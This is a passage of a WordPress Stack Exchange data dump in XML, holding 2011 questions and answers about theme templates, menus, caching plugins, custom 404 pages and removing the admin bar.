CommentCount="3" FavoriteCount="1" />
  <row Id="24741" PostTypeId="2" ParentId="24724" CreationDate="2011-08-02T21:32:27.453" Score="0" ViewCount="" Body="&lt;p&gt;Switch the taxonomy.php just like you would the single.php to support specific post custom templates.  This is untested code, so it may not work - but, first get the post type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$post_type = get_query_var('post_type');&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if $post_type contains post_type = 'car' then include archive-car.php like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;if ( $post_type = 'car' ) &#xA;  get_template_part('archive-car');&#xA;elseif ( $post_type = 'boat'  ) &#xA;  get_template_part('archive-boat');&#xA;elseif ( $post_type = 'bike' ) &#xA;  get_template_part('archive-bike');&#xA;else &#xA;  get_template_part('regular-taxonomy');      &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An better alternative would be if you could establish a template redirect like in this answer, but I don't know if that's even possible.  If possible, you'd redirect the taxonomy template based on the value of $post_type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8608/how-to-quickly-switch-custom-post-type-singular-template&quot;&gt;How to quickly switch custom post type singular template?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-03T16:38:27.137" LastActivityDate="2011-08-03T16:38:27.137" CommentCount="4" />
  <row Id="24742" PostTypeId="1" CreationDate="2011-08-02T21:55:26.093" Score="0" ViewCount="20" Body="&lt;p&gt;I have a page that is not linked in my custom menu. This page has a parent page, which is linked in the custom menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to the &quot;not-linked&quot; page, I want to to highlight it's parent page link in the menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use WordPress 3.0 and there is a possibility to create a custom menu (drag-and-drop - &lt;em&gt;Appearance&lt;/em&gt; &gt; &lt;em&gt;Menus&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom menu uses a list for menu styling and I would like to add a class to the parent Page link within the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;.&#xA;I also have pages with two, and top level parents.&lt;/p&gt;&#xA;" OwnerUserId="7563" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-08-14T18:06:55.150" LastActivityDate="2011-08-14T18:29:22.740" Title="Highlighting top level link when viewing one of it's sub-pages, which are not linked in the menu" Tags="&lt;custom-menus&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="24745" PostTypeId="1" CreationDate="2011-08-02T22:34:41.580" Score="1" ViewCount="31" Body="&lt;p&gt;I was encouraged by Dreamhost to go with FCGI, XCache and w3 total cache. But I'm not sure what the optimal settings are, especially re: the Object and Database cache. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I can't get this error message to go away: &lt;code&gt;Recently an error occurred while creating the CSS / JS minify cache&lt;/code&gt; Nor can I get log files to show up...&lt;/p&gt;&#xA;" OwnerUserId="4258" LastEditorUserId="4258" LastEditorDisplayName="" LastEditDate="2011-08-04T00:22:42.417" LastActivityDate="2011-08-04T00:22:42.417" Title="Has anyone used the wordpress plugin w3-total-cache on a Dreamhost VPS successfully?" Tags="&lt;hosting&gt;&lt;server&gt;&lt;plugin-w3-total-cache&gt;&lt;optimization&gt;" FavoriteCount="1" />
  <row Id="24746" PostTypeId="2" ParentId="24740" CreationDate="2011-08-02T22:36:19.503" Score="2" ViewCount="" Body="&lt;p&gt;@Kevin is right. You can create any number of menus in&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Appearance -&gt; Menus&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just create a new menu for your categories. Lets call it &lt;strong&gt;categories&lt;/strong&gt;. You can call this menu in your theme using this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array('menu' =&amp;gt; 'categories' )); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-02T22:36:19.503" />
  <row Id="24747" PostTypeId="2" ParentId="24733" CreationDate="2011-08-02T23:04:18.153" Score="1" ViewCount="" Body="&lt;p&gt;404's were being caused by problem with the WP Super Cache section in my .Htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greyed out areas AND metaboxes not showing up were being caused by Wordpress suddenly having a serious issue with using capitals at the start of Custom Post Type names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why these issues suddenly came to bite me? I have no idea!!&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-08-02T23:04:18.153" />
  <row Id="24748" PostTypeId="2" ParentId="24715" CreationDate="2011-08-02T23:11:59.833" Score="1" ViewCount="" Body="&lt;p&gt;If you remove your Redirect from the .htaccess file, you could try adding a custom 404.php template file to your theme. I'm not sure exactly what you are asking. Do you want the page to Redirect, or do you want a custom 404 page that displays similar items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve the show similar posts using the 404.php template try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a php file named 404.php&#xA;Add this to the file and save it, then upload it to your theme directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;&amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;Didn't Find What You were Looking For?&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;Perhaps one of the links below, can help.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php  &#xA;$rel_tags = get_the_tags();&#xA;foreach($rel_tags as $rel_tag)&#xA;{&#xA;    $rel_tagnames .= $rel_tag-&amp;gt;name . ',';&#xA;}&#xA;$rel_posts = get_posts('tag=' . $rel_tagnames . '&amp;amp;post__not_in' . $post-&amp;gt;ID . '&amp;amp;showposts=5');&#xA;if (count($rel_posts)) : ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php foreach((array) $rel_posts as $rel_post) { ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $rel_post-&amp;gt;post_name ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $rel_post-&amp;gt;post_title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;  &#xA;    &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;#return-home {&#xA;display:block;&#xA;position:relative;&#xA;padding:5px;&#xA;font-size:24px;&#xA;font-weight:600;&#xA;color:black;&#xA;margin-top:40px;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;div id=&quot;return-home&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;&quot; title=&quot; &amp;lt;?php bloginfo('name'); ?&amp;gt;&quot;&amp;gt;Click to Go to the Home Page:&amp;amp;nbsp;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&#xA;You will need to replace the div's I've used with the ones your theme has or it won't look like the rest of your website. Open your index.php file and replace the &lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;div class=&quot;content&quot;&amp;gt;&lt;/code&gt;from my file with your theme's div's.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-02T23:11:59.833" CommentCount="1" />
  <row Id="24749" PostTypeId="2" ParentId="22599" CreationDate="2011-08-02T23:13:16.913" Score="2" ViewCount="" Body="&lt;p&gt;I found &lt;a href=&quot;http://dannyvankooten.com/450/tinymce-wysiwyg-editor-in-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;some info on changes in 3.2&lt;/a&gt; that might be relevant:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Aparrently, &lt;code&gt;wp_tiny_mce_preload_dialogs()&lt;/code&gt; no longer exists from WP3.2 on. It got replaced by &lt;code&gt;wp_preload_dialogs()&lt;/code&gt; which is now being called from &lt;code&gt;wp_quicktags()&lt;/code&gt;. &lt;code&gt;wp_quicktags&lt;/code&gt;, on his turn, is being called from &lt;code&gt;the_editor()&lt;/code&gt; function. So, if you’re using &lt;code&gt;the_editor()&lt;/code&gt; you no longer need to manually call the function to preload any dialogs!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you’re not using &lt;code&gt;the_editor()&lt;/code&gt;, make sure to call &lt;code&gt;wp_preload_dialogs()&lt;/code&gt; somewhere from your footer in the following manner:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;wp_preload_dialogs( array( 'plugins' =&amp;gt; 'wpdialogs,wplink,wpfullscreen' ) );&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could try calling wp_preload_dialogs(), or maybe switch to using &lt;code&gt;the_editor()&lt;/code&gt; instead of &lt;code&gt;tinyMCE.execCommand()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check out &lt;a href=&quot;http://wordpress.stackexchange.com/questions/22466/tinymce-in-custom-metabox-not-loaded-after-upgrading-from-wp-3-1-4-to-wp-3-2/23086#23086&quot;&gt;this question&lt;/a&gt;; calling &lt;code&gt;wp_tiny_mce()&lt;/code&gt; solved my problem.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17144&quot; rel=&quot;nofollow&quot;&gt;wp_tiny_mce() might be deprecated in 3.3&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-08-04T14:20:00.867" LastActivityDate="2011-08-04T14:20:00.867" CommentCount="3" />
  <row Id="24750" PostTypeId="2" ParentId="22734" CreationDate="2011-08-02T23:32:23.510" Score="0" ViewCount="" Body="&lt;p&gt;Try adding the code to the comment-template.php file located in wp-includes, right under the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_comment_author_link( $comment_ID = 0 ) {&#xA;/** @todo Only call these functions when they are needed. Include in if... else blocks */&#xA;$url    = get_comment_author_url( $comment_ID );&#xA;$author = get_comment_author( $comment_ID );&#xA;&#xA;if ( empty( $url ) || 'http://' == $url )&#xA;    $return = $author;&#xA;else&#xA;    $return = &quot;&amp;lt;a href='$url' rel='external nofollow' class='url'&amp;gt;$author&amp;lt;/a&amp;gt;&quot;;&#xA;return apply_filters('get_comment_author_link', $return);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that the final result looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_comment_author_link( $comment_ID = 0 ) {&#xA;/** @todo Only call these functions when they are needed. Include in if... else blocks */&#xA;$url    = get_comment_author_url( $comment_ID );&#xA;$author = get_comment_author( $comment_ID );&#xA;&#xA;if ( empty( $url ) || 'http://' == $url )&#xA;    $return = $author;&#xA;else&#xA;    $return = &quot;&amp;lt;a href='$url' rel='external nofollow' class='url'&amp;gt;$author&amp;lt;/a&amp;gt;&quot;;&#xA;return apply_filters('get_comment_author_link', $return);&#xA;}&#xA;add_filter('pre_comment_author_url', 'filter_comment_url');&#xA;function filter_comment_url($url){&#xA;if ($url == &quot;Website&quot; || $url == &quot;http://Website&quot;){&#xA;    $url = '';&#xA;}&#xA;return $url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7567" LastActivityDate="2011-08-02T23:32:23.510" CommentCount="1" />
  <row Id="24751" PostTypeId="1" AcceptedAnswerId="24753" CreationDate="2011-08-02T23:48:27.960" Score="0" ViewCount="26" Body="&lt;p&gt;When users insert an image into the content, WordPress automatically wraps the image in a hyperlink that, when clicked, creates an &quot;attachment&quot; page showing only the image inside the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I insert a code in my theme that tells WP not to create this link?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-08-03T00:07:10.813" Title="How to force unlink on attached/inserted images?" Tags="&lt;theme-development&gt;&lt;attachments&gt;" AnswerCount="1" />
  <row Id="24753" PostTypeId="2" ParentId="24751" CreationDate="2011-08-03T00:07:10.813" Score="0" ViewCount="" Body="&lt;p&gt;When you insert an image it becomes an attachment, whether you link to that page or not. You can simply select 'none' in the link url field when the image is inserted, it's one of the options in the media panel.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-03T00:07:10.813" />
  <row Id="24754" PostTypeId="1" AcceptedAnswerId="24757" CreationDate="2011-08-03T00:36:15.233" Score="0" ViewCount="87" Body="&lt;p&gt;Hi there all Wordpres Gurus. i running up against the following problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've the following navigation: (example : &lt;a href=&quot;http://weetinc.com/oncokompas&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;mainNav&quot;&amp;gt;&#xA;     &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;watishet&quot;&amp;gt;Wat is het&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;hoewerkthet&quot;&amp;gt;Hoe werkt het?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;resultaten&quot;&amp;gt;Resultaten?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;onconavigator&quot;&amp;gt;OncoNavigator?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;ziekenhuizen&quot;&amp;gt;Ziekenhuizen?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my question is can i add custom classes to a anchor element inside Wp_list_pages? because the current wp_list_page doesn't use a class attribut inside a anchor element. I want to add a unique class to each anchor element. For final result i want to make  a tab based horizontal dropdown menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope some one can help me out because i searched alot and also look for couple of wordpress dropdown menu plugins but there wasn't anything out there that fulfill my wishes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks. &lt;/p&gt;&#xA;" OwnerUserId="7569" LastEditorUserId="7569" LastEditorDisplayName="" LastEditDate="2011-08-03T00:45:30.127" LastActivityDate="2011-08-03T03:52:04.477" Title="Adding custom class names to anchor in wp_list_pages" Tags="&lt;wp-list-pages&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="24755" PostTypeId="1" CreationDate="2011-08-03T01:37:36.243" Score="0" ViewCount="19" Body="&lt;p&gt;I'm looking for the best way to create a plugin page that displays XML. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Front facing to the public&lt;/li&gt;&#xA;&lt;li&gt;Valid XML that removes all the admin hub-bub and allows me to change the header info&lt;/li&gt;&#xA;&lt;li&gt;Doesn't display in the side menu&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7570" LastActivityDate="2011-09-02T16:39:58.217" Title="Plugin XML Page" Tags="&lt;plugins&gt;&lt;admin&gt;" AnswerCount="1" />
  <row Id="24756" PostTypeId="1" AcceptedAnswerId="24777" CreationDate="2011-08-03T02:20:53.220" Score="0" ViewCount="21" Body="&lt;p&gt;This might be a total dummy question, but I have no idea where to enter the forum description with bbpress. I see it on plenty of other bbPress-powered forums, and the plugin is inserting &lt;code&gt;&amp;lt;div class=&quot;bbp-forum-description&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; into my table of entries, but when I create or edit a forum, I don't see a field to enter this information. Is this normal or is something strange going on with my bbPress forum?&lt;/p&gt;&#xA;" OwnerUserId="7571" LastActivityDate="2011-08-03T11:11:51.867" Title="bbPress plugin - How do I add a forum description?" Tags="&lt;bbpress&gt;" AnswerCount="1" />
  <row Id="24757" PostTypeId="2" ParentId="24754" CreationDate="2011-08-03T03:52:04.477" Score="0" ViewCount="" Body="&lt;p&gt;Use the Wordpress Menu system, which allows you to set custom classes (Make sure you open up &quot;Screen Options&quot; and check the &quot;CSS Classes&quot; check box to see the settings)&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-03T03:52:04.477" CommentCount="3" />
  <row Id="24758" PostTypeId="1" AcceptedAnswerId="24782" CreationDate="2011-08-03T04:40:52.547" Score="0" ViewCount="16" Body="&lt;p&gt;i'm making a wordpress theme and want to use a single archive.php page in order to present posts under a specific author, a category or tag. Now, i'm doing it like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (is_author())&#xA;  {&#xA;&#xA;  }&#xA;&#xA;  if (is_category())&#xA;  {&#xA;&#xA;  }&#xA;&#xA;  if (is_tag())&#xA;  {&#xA;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know i can divide this in more templates, but i don't want to repeat myself and i generally prefer to do it in a single php file. So, my question is :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i get either the category, tag or author in each of these ifs ? It seems that for the author i can use something like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$author = (isset($_GET['author_name'])) ? get_user_by('slug', $author_name) : get_userdata(intval($author));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for the category :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_query_var( 'cat');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is this indeed the way to do it ? What is a safe way to get that information independent of permalinks ? &lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-08-03T11:55:17.990" Title="Check if tag, category or author on archive.php" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="24759" PostTypeId="1" CreationDate="2011-08-03T04:57:06.243" Score="0" ViewCount="17" Body="&lt;p&gt;I noticed that when I changed the WP_Query to ask for a certain category, the page served was &lt;code&gt;category.php&lt;/code&gt;. So I'm guessing there's a block of code somewhere that decides which template to serve based on keys in the query. Where is it?&lt;/p&gt;&#xA;" OwnerUserId="2150" LastActivityDate="2011-08-03T04:57:06.243" Title="How is WP_Query parsed to determine which template to request?" Tags="&lt;wp-query&gt;&lt;page-template&gt;" CommentCount="1" />
  <row Id="24760" PostTypeId="2" ParentId="19349" CreationDate="2011-08-03T05:08:59.433" Score="-1" ViewCount="" Body="&lt;p&gt;no need to do any core change to wordpress just download and install plugin from here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my-php-scripts.net/index.php/Wordpress/remove-image-link-wordpress-advanced-php.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this plugin will remove hyperlink from image when post or page is displayed.&lt;/p&gt;&#xA;" OwnerUserId="7573" LastActivityDate="2011-08-03T05:08:59.433" />
  <row Id="24763" PostTypeId="2" ParentId="21911" CreationDate="2011-08-03T06:56:27.187" Score="0" ViewCount="" Body="&lt;p&gt;I think you can define posts number from Theme Options panel if so use &lt;code&gt;ot_option('hp_mid_num')&lt;/code&gt; as &lt;code&gt;posts_per_page&lt;/code&gt; parameter to get more flexible query&lt;/p&gt;&#xA;&#xA;&lt;p&gt;final code here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $wp_query = new WP_Query( array( &#xA;    'posts_per_page' =&amp;gt; ot_option( 'hp_mid_num' ), &#xA;    'cat' =&amp;gt; ot_option( 'hp_mid_cat' ),&#xA;    'paged' =&amp;gt; $paged&#xA;    ) );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-03T06:56:27.187" />
  <row Id="24764" PostTypeId="1" CreationDate="2011-08-03T07:19:30.257" Score="1" ViewCount="26" Body="&lt;p&gt;My market is not the tech savvy Gravatar using folks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...I'd like to allow them to choose from a list of nice avatars or be able to upload upon &lt;strong&gt;commenting.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users will not necessarily be registering, but I'd like them to be able to comment and upload or choose an avatar upon Comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love to hear your thoughts. I Haven't found the right plugin yet... &lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-08-03T07:37:11.623" Title="Upload or Choose Avatar on comment" Tags="&lt;avatar&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" />
  <row Id="24768" PostTypeId="1" AcceptedAnswerId="24783" CreationDate="2011-08-03T08:00:24.747" Score="1" ViewCount="42" Body="&lt;p&gt;I am getting trouble with WordPress comment posting.&#xA;As per my WP setting there is no approval needed to display the comments under blog after posting.&#xA;Most of the comments posted display immediately. But some of them do not display and need aproval from the admin / Author.&lt;/p&gt;&#xA;" OwnerUserId="7576" LastActivityDate="2011-08-03T11:55:32.747" Title="WordPress Comment posting problem" Tags="&lt;posts&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="24769" PostTypeId="1" CreationDate="2011-08-03T08:50:24.360" Score="1" ViewCount="55" Body="&lt;p&gt;This morning most of the images on my wordpress blog (http://records.photodharma.net) have stopped loading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This even happening on embeds. All the images here are embedded: &lt;a href=&quot;http://records.photodharma.net/photos/chiang-mai-photo-albums-of-modern-structures&quot; rel=&quot;nofollow&quot;&gt;http://records.photodharma.net/photos/chiang-mai-photo-albums-of-modern-structures&lt;/a&gt; When I view them in Firebug, they appear, but not on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of times I have seen images load and shortly after disappear, so it seems that they try to load but are being blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done some searching and tried various things like updating the permalink settings, the media settings, etc. I also updated to the latest version of wordpress, and updated the .htaccess but nothing has worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas about this?&lt;/p&gt;&#xA;" OwnerUserId="4360" LastEditorUserId="4360" LastEditorDisplayName="" LastEditDate="2011-08-03T09:43:43.317" LastActivityDate="2011-09-03T07:40:51.407" Title="Images not showing on blog" Tags="&lt;images&gt;&lt;embed&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="24770" PostTypeId="1" AcceptedAnswerId="24778" CreationDate="2011-08-03T08:51:19.203" Score="0" ViewCount="63" Body="&lt;p&gt;Has anyone used &lt;a href=&quot;http://wordpress.org/extend/plugins/thecartpress/&quot; rel=&quot;nofollow&quot;&gt;Cartpress&lt;/a&gt; before that could give me some pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed the plugin but struggling to find all the templates it uses to display everything. I'm using the default theme in WP and have set everything up in that. Things I want to include are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Display 3 top products on the homepage.&lt;/li&gt;&#xA;&lt;li&gt;Adjust the look of how all the products are displayed.&lt;/li&gt;&#xA;&lt;li&gt;Tailor the look of checkout process.&lt;/li&gt;&#xA;&lt;li&gt;Display a basket.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've tried using Dukapress and wpStoreCart but Cartpress seems the easiest to adjust. It's easy enough to change to a different plugin as I'm only just starting out.&lt;/p&gt;&#xA;" OwnerUserId="4588" LastActivityDate="2011-08-03T11:20:06.163" Title="How to adjust the Cartpress e-commerce plugin?" Tags="&lt;e-commerce&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="1" />
  <row Id="24771" PostTypeId="1" AcceptedAnswerId="24786" CreationDate="2011-08-03T09:56:05.893" Score="0" ViewCount="41" Body="&lt;p&gt;In my custom post type what I am trying to do is say I have select drop down option called party_ad. The value of the options are obtained via an RSS feed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;select name=&quot;ad_Tags&quot; id=&quot;ad_Tags&quot;&amp;gt;';&#xA;  foreach ($rs['items'] as $item)&#xA;  {&#xA;   echo '&amp;lt;option value=&quot;'.$item[title].'&quot; '. selected( $adTags, $item[title]).'&amp;gt;'.$item[title].'&amp;lt;/option&amp;gt;';&#xA;  }&#xA;  echo '&amp;lt;/select&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can save these data with no problems - however, what I want to be able to save the selected option as a tag to the custom post. I thought about doing it front end, ie if an option is selected then it adds the value to the post tag box, ideally though, I'd like to really do this server side. &lt;/p&gt;&#xA;" OwnerUserId="7244" LastActivityDate="2011-08-03T12:12:40.097" Title="saving meta/custom field to tag" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="24773" PostTypeId="1" AcceptedAnswerId="24776" CreationDate="2011-08-03T10:46:49.670" Score="1" ViewCount="82" Body="&lt;p&gt;whenever admin or any other user logs in a top bar menu ads up. Now I made login for everybody, so I do not want this bar. first I added display:none to admin-bar.css, but the main problem is that wordpress is still adding a white line on the top with: html {&#xA;    margin-top: 28px !important;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to remove this as this is causing some design flaws. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-08-03T19:25:08.367" Title="I want to remove top admin bar from wordpress. How to?" Tags="&lt;css&gt;" AnswerCount="2" />
  <row Id="24774" PostTypeId="2" ParentId="10656" CreationDate="2011-08-03T10:54:33.783" Score="0" ViewCount="" Body="&lt;p&gt;just use this plugin its has built in option to auto remove p and br tag &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tinymce-advanced/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7580" LastActivityDate="2011-08-03T10:54:33.783" />
  <row Id="24775" PostTypeId="1" CreationDate="2011-08-03T10:55:41.927" Score="0" ViewCount="147" Body="&lt;p&gt;I've fresh-installed a WordPress 3.2.1 on my server yesterday. Unfortunately, installing 3.2.1 breaks all the jQuery scripts and I can't click on &quot;Collapse menu&quot;, &quot;HTML&quot; in the editor, &quot;Fullscreen&quot; - basically, everything that's loaded with jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested with Safari, Firefox and Chrome on a MAC OS X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downgraded on 3.2.0 and jQuery is working properly on this version, but when I upgrade back to 3.2.1. everything breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think it's related to JSON, JSON is working properly with PHP, too. I also don't have any plugins installed, except Akismet and the theme installed with the default one: Tweenty Twelve or smtg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5746" LastActivityDate="2011-09-02T13:39:55.513" Title="WordPress 3.2.1: jQuery is not defined, breaks Admin panel" Tags="&lt;jquery&gt;" AnswerCount="1" />
  <row Id="24776" PostTypeId="2" ParentId="24773" CreationDate="2011-08-03T11:02:25.930" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://vudu.me/88&quot; rel=&quot;nofollow&quot;&gt;http://vudu.me/88&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has an article about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But basically&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Disable the Admin Bar. */&#xA;add_filter( 'show_admin_bar', '__return_false' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or also&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//REMOVE ADMIN BAR&#xA;remove_action('init', 'wp_admin_bar_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe in your functions.php will disable it. Probably a better way than just hiding it thriough css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THe reason you still get the gap with the menu hidden is because WP adds this css as well&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html { margin-top: 28px !important; }&#xA;* html body { 